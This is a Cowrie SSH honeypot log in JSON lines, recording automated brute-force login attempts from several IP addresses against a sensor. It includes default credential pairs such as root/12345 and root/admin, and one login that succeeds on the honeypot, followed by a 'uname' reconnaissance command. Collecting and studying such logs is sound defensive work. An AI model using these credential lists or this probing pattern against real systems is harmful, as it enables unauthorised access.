{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:41.628798Z","src_ip":"45.156.87.204","session":"eb54e440100c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:41.880367Z","src_ip":"45.156.87.204","session":"eb54e440100c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:42.253904Z","src_ip":"43.128.86.117","session":"f65fd69e639c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:42.527664Z","src_ip":"94.26.106.229","session":"01576a695d3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:42.609576Z","src_ip":"45.183.70.66","session":"f80a26b81b02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:42.968256Z","src_ip":"45.156.87.204","session":"eb54e440100c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":36358,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a40843c93f1","protocol":"ssh","message":"New connection: 94.26.106.229:36358 (159.203.135.109:22) [session: 8a40843c93f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:43.755943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:43.769206Z","src_ip":"94.26.106.229","session":"8a40843c93f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:43.873296Z","src_ip":"94.26.106.229","session":"8a40843c93f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:44.038393Z","src_ip":"47.237.167.49","session":"92c86eb0a3c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"intranet","password":"intranet","message":"login attempt [intranet/intranet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:44.211007Z","src_ip":"94.26.106.229","session":"8a40843c93f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54358,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b8a1956e716","protocol":"ssh","message":"New connection: 45.156.87.204:54358 (159.203.135.109:22) [session: 3b8a1956e716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:44.975234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:44.979942Z","src_ip":"45.156.87.204","session":"3b8a1956e716","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:45.062068Z","src_ip":"45.156.87.204","session":"3b8a1956e716","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:45.297430Z","src_ip":"94.26.106.229","session":"8a40843c93f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:45.307603Z","src_ip":"45.156.87.204","session":"3b8a1956e716","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":36366,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3aff81f123f","protocol":"ssh","message":"New connection: 94.26.106.229:36366 (159.203.135.109:22) [session: a3aff81f123f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:46.042714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:46.047006Z","src_ip":"94.26.106.229","session":"a3aff81f123f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:46.134489Z","src_ip":"94.26.106.229","session":"a3aff81f123f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:46.389652Z","src_ip":"94.26.106.229","session":"a3aff81f123f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:46.427397Z","src_ip":"45.156.87.204","session":"3b8a1956e716","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"54.7","message":"Connection lost after 54.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:46.703596Z","src_ip":"47.237.167.49","session":"92c86eb0a3c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:47.477180Z","src_ip":"94.26.106.229","session":"a3aff81f123f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":36380,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc8778c8e344","protocol":"ssh","message":"New connection: 94.26.106.229:36380 (159.203.135.109:22) [session: cc8778c8e344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:48.158034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:48.161846Z","src_ip":"94.26.106.229","session":"cc8778c8e344","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:48.250461Z","src_ip":"94.26.106.229","session":"cc8778c8e344","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54384,"dst_ip":"159.203.135.109","dst_port":22,"session":"73564e133851","protocol":"ssh","message":"New connection: 45.156.87.204:54384 (159.203.135.109:22) [session: 73564e133851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:48.425686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:48.462909Z","src_ip":"45.156.87.204","session":"73564e133851","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"danny","password":"danny123","message":"login attempt [danny/danny123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:48.517855Z","src_ip":"94.26.106.229","session":"cc8778c8e344","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:48.680234Z","src_ip":"45.156.87.204","session":"73564e133851","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":53542,"dst_ip":"159.203.135.109","dst_port":22,"session":"385a292277ea","protocol":"ssh","message":"New connection: 139.19.117.129:53542 (159.203.135.109:22) [session: 385a292277ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:48.951568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:48.957064Z","src_ip":"139.19.117.129","session":"385a292277ea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:48.981341Z","src_ip":"45.156.87.204","session":"73564e133851","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:49.048943Z","src_ip":"139.19.117.129","session":"385a292277ea","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:49.176711Z","src_ip":"45.156.87.204","session":"73564e133851","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:49.180211Z","src_ip":"45.156.87.204","session":"73564e133851","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:85:8e:32:be:27:68:5f:22:f9:63:eb:9b:e3:c0:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:85:8e:32:be:27:68:5f:22:f9:63:eb:9b:e3:c0:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:49.235246Z","src_ip":"139.19.117.129","session":"385a292277ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:85:8e:32:be:27:68:5f:22:f9:63:eb:9b:e3:c0:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:49.238531Z","src_ip":"139.19.117.129","session":"385a292277ea","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:49.265861Z","src_ip":"45.156.87.204","session":"73564e133851","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:49.271321Z","src_ip":"45.156.87.204","session":"73564e133851","protocol":"ssh"}
